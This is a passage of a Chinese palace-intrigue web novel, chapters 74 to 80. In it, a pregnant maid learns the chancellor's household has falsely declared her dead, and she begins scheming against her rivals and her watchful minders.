又想到父亲说过的话,他心中难免悲悯。 “死了?” 月莹满目震惊。 就连宁从夏也没料想到这个结局。 她怀疑的目光,再次落在萧晋文身上。 要知道前几日见到人时,还活蹦乱跳的,怎么可能这才几天,人就走了? “不可能啊,这……若她真出了事,怎么没听府里的人提过?” 一点风声没有? 月莹摇着头,根本就不相信。 “那是父亲亲口所言,不会有假,祖母也知道此事。” 萧晋文皱了皱眉,又道。 起初听到时,他的确也不相信,难以接受。 可转念一想,欢娘不过是个小丫鬟而已,府上又怎会将她的病逝放在眼里呢? 可惜了,他有些后悔,当初她被蛇咬,他就不该那么着急离开相府。 那欢娘,老实又善良,倒是个很不错的丫鬟。 月莹颤抖着嘴巴,几次想说话,却又说不出口。 就连宁从夏,也是如此。 死了,真的死了? 月莹回去后,仍旧无法相信。 所以第二天,她就寻到机会,在马棚里见到了自己的父亲。 “你兄长在庄子上做的还不错……” “爹爹,我来,只为了问你一件事,你是相爷的车夫,那你可见过欢娘?” 月莹直接打断他的话。 兄长的事情,她现在也不关心。 月海沉默了片刻,才皱着眉问她。 “你打听这个做什么?” “一个丫鬟而已,难道我还不能问了?爹爹,我没打听相爷的行踪,也没有要你帮忙,不过是想问问你欢娘的下落,难道这也不行?” 看到父亲的防备,月莹心生怒火。 语气便有些冷。 “爷院中的事,你少打听。” 可就算是这样,月海也没打算告诉她。 然后从袖口里掏出一根簪子,欲送给她,月莹生怒,看都没看,直接摔到了地上。 “我要你这破玩意儿做什么?你少在这儿假惺惺的。” 月莹看到她爹的这死样子,忍无可忍。 甩了东西就走。 那簪子,落在地上,断成两截。 月海惊的都傻了。 “站住。” 可同时,眼底也浮现一丝火气。 “我与你说过,让你本本分分过日子,不要卷进这后院的争斗,你听还是不听?” 他冷声质问。 此刻的月莹,对他失望至极,根本不想多一句废话。 “私自买蛇,带入相府,蓄意毒杀欢娘,你知不知道,这是死罪?” 可接下来月海的话,却让月莹慌了神。 她连忙退回到月海身边,脸色因为慌乱而苍白。 “我……我……” “你没有?你要否认,那你猜,我是怎么知道此事的?” 月海冷眼看着她,眼底满是无奈。 “相爷他……他知道了?” 月莹面色灰白。 死定了。 如果相爷查出来,那她连求情的机会都没有。 那可是相府真正的主子。 “爹,救我,我……我那是一时糊涂,我后来也后悔了,我……爹爹,我可是您的女儿啊。” 月莹跪地恳求,立刻就是声泪俱下。 “现在知道怕,那还敢打听爷院中的事吗?” “不,不敢了,不打听,我什么都不问,爹爹,您帮帮我,我不想被赶出去,不想去矿山。” 月莹一想到娘亲的下场,就怕的什么都顾不得了。 她踉踉跄跄的跪到了月海面前,抓着他恳求。 “记住我说的话,只要你安分守己,便不会有事。” 到底是他的女儿,月海看了,终究是不忍心。 语重心长的道。 月莹连忙点头,忏悔,看着像是真的知道悔改。 当晚,她回去后,就格外安分。 可对小翠来说,已经过了两天了,她就只有五天时间。 月莹是不会帮她的,也不会有人愿意给她那么多银子,所以,她想起了欢娘的话。 入夜,悄无声息的,去了承德院。 欢娘在住的院子里,也重新弄了一个调香室,做了一批香膏,交给刘嬷嬷。 请她帮忙,带去给丽姑姑。 可刘嬷嬷却是欲言又止,拿着东西,迟迟不愿走。 “嬷嬷,可是有什么不方便的?” 欢娘有些疑惑,她先前不是已经答应了吗? 怎么现在是想拒绝? 刘嬷嬷先前答应只是为了安抚她吗?可那也犯不着吧。 “倒是……也没什么,我这就去。” 第七十五章她就这么被抛弃了 刘嬷嬷什么都没说,可她的反应,却让她觉得奇怪。 晚上,她回来时,欢娘特地询问她回相府的事。 “已经转交给丽姑姑了,这是上一批香膏的盈利,丽姑姑让老奴转交给你。” 说着,刘嬷嬷将一袋碎银子放在桌上,瞧着也该有个五十两了。 将近两月的盈利,倒是也合理。 “还有这个,是老夫人给你的,让你拿着傍身,至于吃穿用的东西,你只要有需要,便和我说,我来安排。” “老夫人说这几日要忙着准备大公子的婚事,还要参加宫宴,忙不过来,等过些日子,便来看你,你好好养着就是。” 刘嬷嬷又掏出一个首饰盒子。 那里面的首饰全都十分精贵,其中的夜明珠,还有粉色珍珠,可不是寻常商铺里能买到的东西。 一颗夜明珠,就价值千两了。 “夫人给我这些东西,也太珍贵了些,我不敢要。” 欢娘看的心惊,这价值千两的夜明珠,让她毛骨悚然。 她一个小小丫鬟,老夫人随便塞白两银子就能打发了,而且自己还会对她千恩万谢。 可这夜明珠,实在是…… “给你的,那便是你的,老夫人说了,你腹中的孩子才是府中最精贵的,只是现在要你留在这儿,受些委屈。” 刘嬷嬷浅笑着,将珠子直接放进她手中。 欢娘理解了半天,才猜测老夫人这是要喂自己吃定心丸吗? 可精贵的是孩子,不是她。 看着刘嬷嬷脸上的笑容,欢娘觉得,并不真实。 入夜后,她辗转反侧,难以入眠。 翌日。 欢娘找到了丽姑姑先前带她来过的脂粉铺子。 刘嬷嬷在外守着,只以为她是要买东西。 欢娘向老板打听了丽姑姑的消息,知道她今天不会来,便给了老板一两银子,回头若是丽姑姑来,立刻通知她。 “你就是丽姐姐口中的调香师傅吧?哪儿用得着这个,放心,你给我个地址,回头人来了,我让翠翠去找你。” 可老板娘却没收她的‘跑腿费’。 可平白无故的好意,欢娘哪里敢皆受,她欲拒绝。 “我和你要找的丽姑姑,那是同乡,二十多年交情了,放心,我啊,不会打你的主意的。” 老板娘看出了她的心思,笑着调侃。 欢娘有些尴尬,也陪着笑,点了点头。 她刚才还以为老板娘这是要拉拢她,直接做香膏来店里卖,要抢丽姑姑的生意呢。 现在这样说开了,也好。 之后她就走了。 只是没想到,丽姑姑来的这样快。 傍晚,那叫翠翠的就来了。 欢娘留了心眼,没想让刘嬷嬷跟着自己,便请她帮忙,去隔壁菜市场买鱼。 自己去胭脂铺拿些东西。 左右就在眼前,刘嬷嬷也没说什么。 而且在她看来,欢娘老实本分的,动不了什么心思。 可转眼,当丽姑姑看到她时,却跟见了鬼一般。 “你……” “你……” 丽姑姑指着她,连连后退,半响没说出一句话来。 “姑姑?您这是怎么了?” 欢娘心中疑惑更深。 却见丽姑姑有些慌张的将老板娘还有翠翠都请了出去。 关上门,只有她俩。 丽姑姑盯着她,很认真的扫了一圈。 看的欢娘后脊发凉。 甚至她差点没忍住,要去摸自己那掩藏的极好的肚子。 “你怎么还敢大摇大摆在京城走动的?还是快些出城去,走的越远越好。” 下一刻,丽姑姑突然拉着她,神情激动。 “姑姑,我……为何要走啊?你刚才见到我,为何那般惊讶?我只是……离开相府而已,又不是……” “姑姑,到底怎么回事?” 欢娘隐约猜到了些什么,可却又不敢相信。 丽姑姑神情紧张。 “我……我也不知道怎么回事,是采菊姑娘告诉我的,说你感染恶疾,已经死了,让我以后不必再提起你的事。” “欢娘,这到底怎么回事?可是你得罪了爷,还是大公子,才被赶出府的?赶就赶了吧,可为何要说你死了呢?你是不是犯了什么大错?” “既然采菊姑娘都说你病死了,我劝你最好不要再留在京城,早些离开的好。” 丽姑姑连忙道。 欢娘却震惊的不敢相信自己听到的。 死了? 老夫人不是说过,她只是出府静养,待生了孩子,就能回去吗? 所以,都是假的? “难道是因为那位宁姑娘,公子才将你撵出来的?” 丽姑姑也不明所以,还在猜测。 “你说,是采菊姐姐跟您说的?除了您,还有谁知道?” “这我就不大清楚了,你也知道的,府里下人多,有时处置了一两个,其实……也不算多大的事。” 丽姑姑磕磕绊绊的道。 一个小丫鬟而已,死就死了,何须大张旗鼓的宣扬呢? 欢娘懂丽姑姑的意思。 她只是不相信,自己就这样莫名其妙的没了,说没就没有。 甚至连一点涟漪都没溅起。 “姑姑,那昨日,我让人给你送的香膏,你可有收到?” 她不死心的问了一句。 丽姑姑却震惊的看着她,还摇了摇头。 “你怎么还敢往府里送东西的?若是让主子知道了,怕是真会要你的命。” 那么说来,刘嬷嬷也是骗她的。 那些香膏就没送出去,而且她一早就知道此事。 她是老夫人的人。 怪不得,会给她那么大一颗夜明珠,是买命钱? 欢娘只觉得那寒意从脚底滋生,一点点的往上。 怪不得都这么些天了,爷就没想过再找她。 一个对外宣称已经死了的人,她还怎么回去? 自己已经没有退路了。 最后,欢娘怎么回到小院的,都有些恍惚。 原来,老夫人当真打算‘去母留子’,而且,爷也同意了。 可他明明就答应过,日后让她陪着孩子长大,让他来养。 爷是骗子? 骗她这么个一个身份卑贱的小丫鬟? 欢娘勾起一抹冷嘲,心口发闷,发慌。 肚子,又大了些,欢娘垂头看着自己微微隆起的小腹,心底头一次对爷,生出了恨意。 不行,她绝不能就这样算了。 为了孩子,为了自己,还有她的血海深沉,她都绝不能再任由他们处置。 第七十六章做不成兔子,那我就是捕食者 三日后。 欢娘再次途径菜市场时,便被拦下。 小翠抓着她,藏到了偏僻的巷子里,还提着一个菜篮子。 她两眼看着欢娘,透露着不明意味的情绪。 “我……刚刚去了赌坊,还了二百两银子。” 半响,她才开口。 那宁从夏,果真是财大气粗的。 “恭喜你。” 欢娘淡淡道。 她既拿到了银子,那想来是听进去自己说的话了。 月莹的贴身丫鬟现在成了宁从夏的眼线。 可谁知下一刻,小翠便朝着她跪下,重重的磕了一个头。 “你帮了我,我感激不尽,谢谢你给我找了一条活路,让我暂时活下来。” “你那三十两银子,我一定想办法尽快还给你。” 她认真道。 欢娘倒是有些意外她的反应,想抬手将人扶起。 可小翠却又接连磕了三个响头。 “还请您再帮我一个忙,日后我便都听您的。” 欢娘蹙眉,就想拒绝。 “我娘,还在红窑里,我想救她,能不能……请您帮帮忙,只要您能救出我娘,让我们母女团聚,我愿为您上刀山,下油锅,做什么都行。” 她眼中的光茫,格外坚定。 欢娘本要拒绝的心,有些动摇了。 “你能确定她还活着吗?” “能,前不久,我阿娘还托人送了十两银子出来给我,她还带了口信,让我尽快离开京城,离开我爹……” 说着说着,小翠声泪俱下,哭的不能自已。 原来她是要准备离开了,可却被她那爹设计,不仅骗走了银子,还被卖。 欢娘没想到,小翠和她娘的感情,倒是深厚。 所以她来求她,是有目的的,有利可图。 这样倒是比她大白话的来表衷心,更让人放心些。 “我尽力帮你找找就是。” 欢娘思虑片刻,先找到她的娘,倒也不算坏事。 小翠狂喜,又冲着她磕了个头。 “你想要我做什么吗?” 她问的倒是十分直接。 可欢娘并不信任她。 “宁姑娘那般大方,也许会是个好主子呢?” “再好,也不会重用我的。” 小翠苦笑着,摇了摇头。 “我先跟了月莹,因为银子,投诚宁姑娘,我这样的奴婢,哪个主子能真的敢用?而且宁姑娘那般大方,也是要付出代价的,我只怕……一直待在相府,会活不下去。” 欢娘意外,她居然会跟她说这些话? “所以,找到我娘以后,我希望你能帮我,让我能活下去,带着我娘离开京城,若你能办到,无论你要我做什么,我都听你的。” “虽然我不知道,他们为什么会说你死了,但我想……你必不甘心,就这样了。” 小翠坦诚的,和欢娘谈条件。 还有她没说的是,她不信欢娘给她出这主意,会一点私心都没有。 但只要她能帮到自己,她甘愿被她利用。 因为她已经无路可走了,如果不投靠欢娘,哪怕现在她危机暂时解除,但只要宁姑娘和月姨娘斗到最后,她必定是牺牲品。 “宁姑娘说,她想在大婚前,解决掉月姨娘,我有她曾经陷害你的把柄,你被蛇咬,也是她做的。” 小翠道。 所以她叛变了,要除掉月莹就不难。 “可若是这样,那岂不都如了宁姑娘的意,她可就太得意了。” 欢娘笑道。 小翠蹙眉思忖,难道是自己会错了意,欢娘的目标,是宁从夏? “既然你现在跟了宁从夏,回去后,不妨帮我个忙?” 除掉月莹让她称心如意?那可太便宜她了些。 况且,老夫人和爷将她当成能随意拿捏的兔子,可以随便发落,那她这只兔子,是做不下去了。 “什么忙?” 小翠一脸的懵懂。 下一刻,欢娘缓缓掀开了厚重衣服下的肚子,小翠懵懂的眼神变得震惊,满脸不可思议。 这一晚,夜深人静之时,小翠偷偷来到承德院,跪在宁从夏床前。 “奴婢发誓,看的清清楚楚,奴婢确实在街上看到了欢娘,而且她已经有孕。” 这消息对宁从夏而言,就是晴天霹雳。 她人已经完全傻了。 “宁姑娘,她……她没死,公子为何要说她已经死了?” 小翠又小声道。 声音极小,而且还在轻微颤抖。 “萧晋文……” 宁从夏气的面目狰狞,双眼充血。 恨不得一下就弄死那个人,小翠被那股煞气吓得瑟瑟发抖,面色苍白的跪在那里,不敢动。 “知道她住在哪儿吗?” 良久,宁从夏不知用了多大的力气,才遏制住自己要杀人的冲动。 语气听着还算平静。 可那掌心,却早就被她掐出了血,皮肉和鲜血都嵌入指甲,瞧着就极可怕。 “奴婢不知道。” “去找,找到她。” 宁从夏忽然吼道,红色眼眸里只剩下涛涛怒火。 小翠被吓得连滚带爬的,跑了出去。 萧晋文,你个大骗子,从今往后,我再也不会相信你。 此刻的宁从夏,对萧晋文失望透顶。 翌日。 欢娘又给了刘嬷嬷几盒香膏,请她帮忙送去给丽姑姑。 既然她隐瞒自己,她就趁机利用。 刘嬷嬷为了隐瞒她,自然不会拒绝。 把人支走,欢娘怀揣着那颗珍贵的夜明珠,去了黑市。 价值千两的夜明珠,也要先换成银子才有实际用处。 正规的市场里,欢娘不敢去交易。 只担心这好东西一拿出去,那边老夫人就知道消息了,那日后刘嬷嬷只会盯她盯的更紧。 而黑市,东西一旦送出去,最后流到哪里去,还真不知道。 此刻欢娘有些庆幸,自己当初在这里待过些日子。 只是夜明珠还没出手,她就被人盯上了。 黑市没几个纯正的好人,欢娘紧张的想先找个安全的地方。 身后的人,却突然开口了。 “我找了你许久。” 听着那声音,却有些熟悉。 回头一看,欢娘心情顿时就放松了下来。 那不就是她先前来黑市,找的第一个小贩吗?依稀记得,他介绍过自己的名字,叫宋二虎? “那么久没出现,我还以为你再也不会来了呢,怎么着,之前让我跟的人,现在是不跟了?” 那叫二虎的,一边走一边调侃她。 欢娘这才想起,前阵子忙着铺子经营,她确实忘了一件很重要的事。 第七十七章情人都一块儿回来了 她觉得宁从夏出现的猝不及防,只怕是她自己忘了来收消息。 “你何时回来的?” 看着二虎,欢娘有些懊恼自己的大意。 “好些天了,天天在这儿等着呢。” 二虎撇撇嘴。 欢娘可不信,他若真的要找,能找不到自己。 但那应该是另外的费用。 她不语,只是掏出了二两银子给二虎。 二虎面露喜色。 “你让我盯着的那俩人,已经回京都了,女的去了相府,男的嘛,买了一处民宅住下,我看他应该是要在京城常住,镖局的人没跟着他回来……” 他说起自己打听到的消息。 “他们何时回来的?” 这次欢娘问的很仔细。 宁从夏的那个大师兄,是在她回来的后一天才到京都的。 而且一回来就置办了宅子,现在在姓林的一户人家做武师傅。 那林家家主位居七品,大理寺评事,家境殷实,五岁的小子要学武,所以就请了孙重。 他行程简单,除了去林家上课,就回家里待着。 “瞧着那女的和那男的,感情可不一般呐,可那女的却跟着相府的小公子回了相府……” 二虎看着欢娘,话里有话。 毕竟他跟了那么久,能不知道两人奸情吗? “相府那位公子,和那女的,是怎么遇上的?在一起多久了?” “他们走镖没多久,就遇山匪劫杀,镖被抢,死了不少人,两人一路逃亡,之后……那女的遇到了小公子……” 二虎一边说,一边就频繁看向欢娘,神情很是耐人寻味。 欢娘听完,心底对那宁从夏,有了更深层的认知。 无耻,实在太无耻了。 原来她不仅仅是善妒,狠毒,还不要脸。 明明还对天发誓,绝不会再和公子有半分关系,她自诩江湖侠女。 可结果呢?一无所有以后,就赖上了公子,还带着她那所谓的大师兄一起。 二虎说,公子行走江湖这将近两个月,都是和两人一起的。 后来,宁从夏为了救公子,被人废了武功,他愧疚不已,再后来,就带着宁从夏,回了相府。 “所以那小公子,也认识孙重?” 为了确认,欢娘再次问道。 “可不吗?还随着那女的,一起叫大师兄呢。” 二虎冷笑嘲讽着。 欢娘脸色微沉。 公子虽性情不大好,但心地善良,可现在却被宁从夏和她那大师兄玩弄于股掌之中,实在太过分了。 可话说回来,公子也实在太好骗了些。 “人已经在京城了,还需要继续盯着吗?” 二虎再次问道。 “盯着,继续盯着,一有消息就想办法通知我,我要知道孙重的一举一动。” 欢娘知道他这是打算结算了,怀里又掏出一张五十两的银票。 她得想办法,让公子亲眼看清楚,宁从夏和孙重的关系。 “成交。” 二虎眼睛发亮。 有了钱,当然好办事的很。 “那我该去何处找你呢?小娘子?” “凝香阁,找青提老板。” ‘青提’这个名字,是她昨夜想的。 原本凝香阁的王女遗孤,只是个噱头,可现在,她觉得自己暂时需要这个身份。 二虎点了点头,对他而言,不过一个名字而已,欢娘叫什么,都不重要。 只要能做生意。 “我这里,有样好东西,你能出手吗?” 二虎是专门做玉器赝品的,而且和她合作了多次,与其找陌生人,倒不如找他。 而且,她或许可以利用二虎,坐实凝香阁的青提老板,当真来历神秘。 一颗价值连城的夜明珠,她露出一面,闪瞎了二虎的眼睛,他大为惊讶。 送那么大一颗夜明珠,约莫只是为了安抚她,让她安心待产,可等生了以后呢?这珠子还属于她吗? 她若真的想给自己银钱花,又何须用这珠子? 老夫人送给她,大概也想不到她会卖掉,而且在她看来,自己也不敢。 现在以青提老板的名义,将珠子卖了,她可不信,老夫人会去追回,讨要。 这事儿即便老夫人知道了,也只能闷着。 因为她绝不想让‘欢娘’的丑闻曝光。 当二虎看到夜明珠的瞬间,激动的手都在颤抖了。 “好……好东西啊,这东西可是……老子干了半辈子,还没遇到过这么好的东西。” 他激动的直接爆粗,想去触碰,都没敢。 “我想法子给你出了,手续费我一分不要,但我有个条件,日后你不管有什么东西,都从我这儿出。” 下一瞬,他突然将那五十两银子还了回来。 欢娘满脸错愕。 那么爱财的二虎,连这个都不要? “放心,我不要银子,也帮你把事情办好了。” 他看夜明珠的眼神,仿佛是在看希望。 欢娘有些莫名,只觉得他人是疯了。 还能有不花银子,能办的好事? “实不相瞒,有了你这珠子,我在组织的地位,可就不同了,你帮了我,我当然也要帮你。” 二虎怕她反悔,所以就解释清楚。 他也不是平白无故帮忙,而是有利可图,干他们这行的,能弄到稀罕玩意儿,可不容易。 “好。” 欢娘想了想,这对自己没什么坏处。 两人便达成了更深一步的合作。 “如果你来这里看不到我,你就去找那边卖烧饼的老婆婆,她会来寻我。” 二虎还将他们的联络人,告诉了欢娘,这算是合作的诚意。 夜明珠珍贵,二虎承诺,待他拿了银子来,再做交换。 他一番操作下来,欢娘对他的信任,又多了三分。 “还要劳烦你,去红窑里,帮我找个人。” 想起小翠提过的事,欢娘想顺道办了。 看二虎的样子,在黑市的红窑里,寻个人,不难。 办完事,欢娘就回了铺子。 营业多天,铺子生意还不错,可现在她遇到了难题。 算账。 她字都不认几个,怎么算账? 脑海里却突然闪过爷握着她的手,教她认字的画面,心头有些发酸。 傍晚,店铺前,便贴了一张招聘帐房先生的告示。 晚上,她独坐在书桌前,自己认字,就格外的费劲,写出来的,更是奇丑无比。 索性她就不写,先把字认全了再说。 更深露重,萧怀停应酬结束,马车偶然路过凝香阁,便在那里,停留了许久。 寂静无声。 萧一在马车外守着,只觉得一股寒气不断的侵入肺腑,冻的他有些僵硬。 第七十八章被困?大师兄他找上门来了 萧怀停目光落在那冰冷的门框上,贴着的那张红纸上,眸色越发的深沉。 约莫半个时辰后,马车才缓缓的离开。 翌日。 凝香阁走进一书生,衣衫破烂,可却风度翩翩,瞧着年纪,不过十五六岁,却透着成年人才有的稳重。 “在下陆寒洲,前来应聘帐房先生。” 欢娘见他就连行礼的气度都非凡。 若不是衣衫破旧,皮肤黑了些,她都要以为站在此处的,是哪家贵族子弟了。 莫不是落魄的贵族子弟? “你家住何处?几岁?原先是做什么的?” 这是她头一次招工,有些紧张。 但被卖了几次,也还算有些经验。 叫陆寒洲的,答的也爽快,诚恳。 他是外乡人,祖宅东川,入京赶考。 “可今年科举已过,来年还要十月,你是否来的早了些?” 欢娘不解。 陆寒洲面色未变,继续解释。 “三年前,家乡洪灾,家人都没了,从那以后我便来了京都,一边做事养活自己,一边念书,前些日子我还在路边摆摊卖字画。” “老板楼下那副红梅图,我还见过。” 陆寒洲认真道。 欢娘心底的怀疑瞬间消散。 怪不得他是京都口音,却说自己是外乡人呢。 摆摊卖字画的,欢娘想了想,好像还真是有些印象。 提起那图,欢娘心头就莫名的多了几分熟悉和亲近。 那他应当就是一心科考的寒门子弟了,来应聘帐房先生,也是被生活所迫。 再者,他已有功名在身,读书人嘛,在乎名声,定不会为了蝇头小利去犯事。 “一月三两银子,负责记账,算账,货物盘点,一个月休息五天,平日里只要你做好本职工作,我不反对你在店里念书,你看如何?” 几番思量后,她决定那就是他了。 陆寒洲却有些意外,呆呆的看着她。 “银子给的少了吗?” 欢娘有些莫名。 陆寒洲连忙摇了摇头。 “老板娘,我……能不能在这儿住?房租就从月钱里扣?” 他连忙掩下眼底的震惊,问道。 后院有三间小屋,其中一间被她当作调香室,另外两间是空着的。 店里的工人每日都要回家,倒是没人住在铺子里。 他若留在这儿,倒是可以给自己看看店铺,也不错。 “可以,房租就算了,就当我请了一个护院,晚上你在楼里住着,也好些。” “多谢。” 陆寒洲连忙垂下头感激。 可心里却在震惊,这老板娘,未免太好说话了些,他还以为要多费些唇舌呢。 看来是那位贵人,将事情想的太复杂了。 还要想方设法拦截后面所有来应聘的,现在看来,没那必要。 陆寒洲当日就留在了凝香阁,开始处理那些让欢娘都头疼的账目。 欢娘照旧往菜市场那边走,如果小翠那边有了进展,她会在那里等着。 只是刘嬷嬷却跟的紧了。 “人多眼杂,日后你想吃什么,吩咐娥嫂子来买就成,从铺子出来咱们就直接回家去。” 刘嬷嬷不让她去了。 欢娘蹙了蹙眉。 “可是老夫人,不允许我再抛头露面?” 她故作委屈的问道。 其实心里很清楚,她现在是一个‘死人’,老夫人又怎么会允许她再和相府的人接触呢? 只怕最近她过于奔波,刘嬷嬷也开始担心,她有所怀疑,或是有所动作了。 “哪有的事,只是瞧着你这肚子一天天大起来,在外不安全,还是回院里养着,欢娘,你这肚子里可是全相府的宝贝,不能有任何闪失。” 见她这委屈模样,有什么就说什么,刘嬷嬷对她的怀疑倒是减少了许多。 况且她一个小丫鬟,就算折腾,又能折腾出什么水花来? 刘嬷嬷的警惕又放松了些。 只是菜市场,真的就不让她去了。 之后的几天,她更是寸步不离的跟着欢娘,这让欢娘有些无奈。 宁从夏那肚子可藏不住,他们的婚期应该快了,也不知小翠那边,事情办的如何了。 这天一早,欢娘起床后,并未马上梳洗,看着微微隆起的肚子,她得重新想办法才行。 思绪片刻,她便往厨房走去。 可后院门口开着,一个熟悉的身影,提着血淋淋的肉走了进来。 左手两只鸡,右手一只猪蹄,那猪蹄怕是刚宰杀的,血染红了拴蹄子的草绳。 欢娘下意识往后退了两步。 来人高大魁梧,凌厉的目光从她身上扫过。 眼底的打量稍纵即逝。 “你好,我是帮娥嫂子送肉过来,这东西放在哪儿?” 沈重提了提手里的东西,语气温和,示意自己不是坏人。 可欢娘却心头发毛,四下无人,她后脊发凉。 这绝对不是巧合。 可看他的样子,没有杀气。 是不是能证明,自己暂时安全? 欢娘深吸口气,默默告诫着自己,一定要冷静。 她指着不远处的厨房。 “娥嫂子呢?” 扫了一圈,发现娥嫂子的夫君已经从外面背着一捆柴火回来,她才稍微安心了些。 因为据她所知,娥嫂子的夫君会点拳脚功夫,要是沈重真是来要她命的,他能当护卫。 她大着声音询问。 “在后边呢,她买的东西太多。” 沈重一边解释着一边走进厨房,将手里的东西放好。 “这两只野鸡是我打猎得来的,娥嫂子买了,我才帮忙送,你别误会,我不是坏人。” 随后走到她面前来,微笑着解释。 高高大大的人,眉目清朗,笑起来就很明媚,看着不像坏人。 倘若欢娘不知道他的底细,这一遭可能会被骗。 “嗯。” 欢娘只是点点头,并不想和他多说什么。 “我叫沈重,偶尔上山打猎,小娘子如果要吃野味儿,可以跟我说。” 可他却很主动,似乎打算认识一下。 欢娘心生警惕,细细打量这人,分析着,他来这里的目的。 如果小翠当真将自己还活着并且有孕的消息传出去了,宁从夏是绝不可能坐以待毙的。 而这么长时间都没来找茬,说明她就没跟大公子闹,她是想……偷偷的处理掉她? 可宁从夏不会让她轻易死的。 前世她什么都没做,都受尽凌辱,今生在她眼中自己还怀了公子的孩子,那不得让她求生不得求死不能吗? “你好,沈大哥,不知山上可有兔子?我想养。” 第七十九章看不住,就禁足吧 她笑着,假装若无其事。 心底已经明白,这沈重一定是宁从夏的帮凶。 可到底谁才是那猎物,未可知。 “养兔子?” 沈重有些错愕。 “是啊,有吗?” 欢娘微笑,眨巴着无辜的一双眼睛,看着单纯极了。 沈重点了点头。 就在这是,娥嫂子回来了,还有她的夫君放好柴火,也走过来。 “有是有,可我不知你要什么样的?不然你随我上山去看看?” 沈重扫了眼屋里的人,眼中轻蔑扫过。 恰在这时,卧房的门打开。 欢娘眼睛骤亮,故作惊喜。 “可以吗?那山上会不会有危险?” 她眼中满是期盼,虽这么问,但看样子就是很想去。 沈重心底就越发鄙夷,就这么个平平无奇,又蠢的小丫鬟,居然能把小师妹气成那样,未免也太…… “当然很危险,你不能去。” 可不等他笑着答应,一个老婆子走了过来。 冷声打断。 “嬷嬷……” 欢娘一脸委屈。 “那山中,多是蛇虫,你不怕吗?” 刘嬷嬷一脸严肃。 欢娘张了张嘴,到底是没再说什么。 “劳烦你,明日带两只兔子过来。” 沈重看着眼前的老妇人,心生不悦。 要不是她,抓走欢娘,就是轻而易举。 “要一白一黑,最好是胖些,好养活……” 欢娘似乎是真要兔子,还特地交代。 沈重点点头,这才离开。 “欢娘,人心险恶,尤其是陌生人,要防着些……” 看着人走后,刘嬷嬷苦口婆心的劝说欢娘。 欢娘太单纯了些,又没什么心机,倘若真有人要害她,可如何是好? 刘嬷嬷忽然意识到,自己要看管的丫鬟,有些傻。 所以这院子里,务必更加小心才是。 欢娘回房后,她立即将夫妇两人叫到了跟前。 “阿武,从今日起,你还是要一直跟着欢娘,贴身保护,但她不喜欢有人跟着,你别让她发现。” 刘嬷嬷不大放心。 又交代了娥嫂子,尽量不要让陌生人进院子,有个闪失,担待不起。 因为她看出来了,欢娘人傻,没什么自保能力。 之后,便回了相府,找老夫人。 “还要两个人?” 萧苏氏一听刘嬷嬷是来要护卫的,皱了下眉。 这几日她为了孙子的婚礼,头疼的很。 “欢娘人勤快,凡事亲历亲为,也用不着人伺候,只是……性子单纯,又愚笨,老奴总担心她被人设计,利用,实在是不放心。” 刘嬷嬷汗颜。 “这般麻烦,让她待在院里,别出门就是。” “可她在那凝香阁做调香师……” “一个月能有多少银子?我双倍给她,让她不准出门。” 萧苏氏头疼的揉了揉眉头。 她还不信,将人拘在院子里,还能出事。 刘嬷嬷一惊,可面上却不敢表现。 哪个大户人家,若出了见不得人的事,不是这么处理的? 老夫人还愿意哄着她,骗着她,给她一个宅子,伺候着将孩子生下,已经是仁善了。 她暗叹口气,禀报完就打算出府。 可刚到院子里,便遇上了长风院的人。 “刘嬷嬷,这就要走了?” 来人,正是采菊,带着温婉的笑容,体态端庄。 刘嬷嬷虽是长了些辈分,却不敢在她面前拿乔。 “采菊姑娘,可是有事要说?” 那可是相爷身边唯一的大丫鬟,情分非常。 “这两日见你来的勤,可是那边出了什么事?” “没,一切都挺好的,只是……” 刘嬷嬷扫了眼四周,低声说起今日她来求见老夫人一事。 采菊姑娘的动向就代表了相爷的意思。 刘嬷嬷虽是老夫人身边的人,但深知欢娘腹中的孩子,意味着什么。 她担心若自己听了老夫人的话,处理不善,将来相爷发怒,她只有死路一条。 左右相爷不会害了自己的孩子,所以她才敢大胆的说。 “要禁足吗?” 采菊有些错愕。 就没明白,事情怎么就发展到这一步了。 “也是为了孩子好。” 刘嬷嬷点点头。 “可当初老夫人的意思是让她先离府,暂避风波,怎能将她当成犯人呢?” 采菊震惊。 刘嬷嬷只是笑一笑,不敢质疑老夫人的决定。 “嬷嬷,还是让她照常出行,安全的问题,你放心,爷不会让她出事的。” 这消息让采菊的心都有些凉。 可她很快镇定下来,认真道。 “这是……爷的吩咐?” 刘嬷嬷不太确定的问了一句。 采菊面色镇定,笑容浅浅。 “自然。” 翌日一早。 沈重就送来了两只兔子,一黑一白,极为漂亮。 “山里抓的?” 欢娘看着那兔子光泽的毛发,还有一股似有若无的香味,心生猜疑。 “对啊,还要别的吗?” “沈大哥看上去可不像猎户啊。” 欢娘将兔子放一边去,故作好奇的问道。 “打猎只是爱好,我略通拳脚功夫,所以在这城里做武师。” 沈重又道。 “那可真是厉害。” 欢娘笑着夸赞,脸上的崇拜不似作假。 沈重鄙夷她愚蠢的同时,却莫名受用这样的目光。 话说回来,昨日她蓬头垢面的,看着平平无奇,可今日稍作打扮,倒真像极了高门里会娇养的妾侍。 “沈大哥平日在哪儿打猎?那山里,有豺狼吗?有没有老虎?” 而且她似乎对山里的事情很好奇,追着他问了不少问题。 沈重一想小师妹要自己把她骗出去,便觉得打好关系,取得她的信任是必要的,所以很配合。 不知不觉,他就在院子里,跟欢娘聊了约莫半个时辰。 “山里蚊虫多,我这儿有能驱除蚊虫的香囊,沈大哥如果不介意,就拿一个去。” 等他要走时,欢娘还送上了礼。 那是一个粉色,并且绣着白色小花的香囊。 女子赠人香囊,那不是…… 沈重面露错愕。 却见欢娘格外的诚恳,心头便生出一丝异样。 “多谢。” 讨好他?莫不是……看上他了?沈重带着那散发着艾草香味的香囊,渐渐走远。 欢娘回屋后,脸色立刻愣了下来。 看着在院子里乱跑的两只兔子,她抓了只白的,去找刘嬷嬷。 “嬷嬷您闻闻,这兔子身上,可有什么异味?” 第八十章相见,还是躲着,不敢见 刘嬷嬷抱过去,闻了闻。 “确实,皮毛上有一股淡淡的冷香,这兔子,从何处来的?” “沈大哥送的,他说是山里找来的兔子,可我闻着奇怪,平日里我用的香料不少,可这种香味,倒是没试过。” “也不知,哪座山里养的兔子,会是这味儿。” 欢娘认真道。 刘嬷嬷眉头紧蹙,当即就抱起了那只兔子。 “先别碰,我先去查查。” 特殊香味的兔子,山里怎么会有? 刘嬷嬷在内宅活了多年,什么奇怪的情况没遇到过? 当即就将兔子夹在怀里,匆匆出了门。 欢娘嘴角微弯。 这沈重,倒是帮了自己大忙。 总算是能甩开刘嬷嬷。 她准备先去黑市打探消息,再去铺子里。 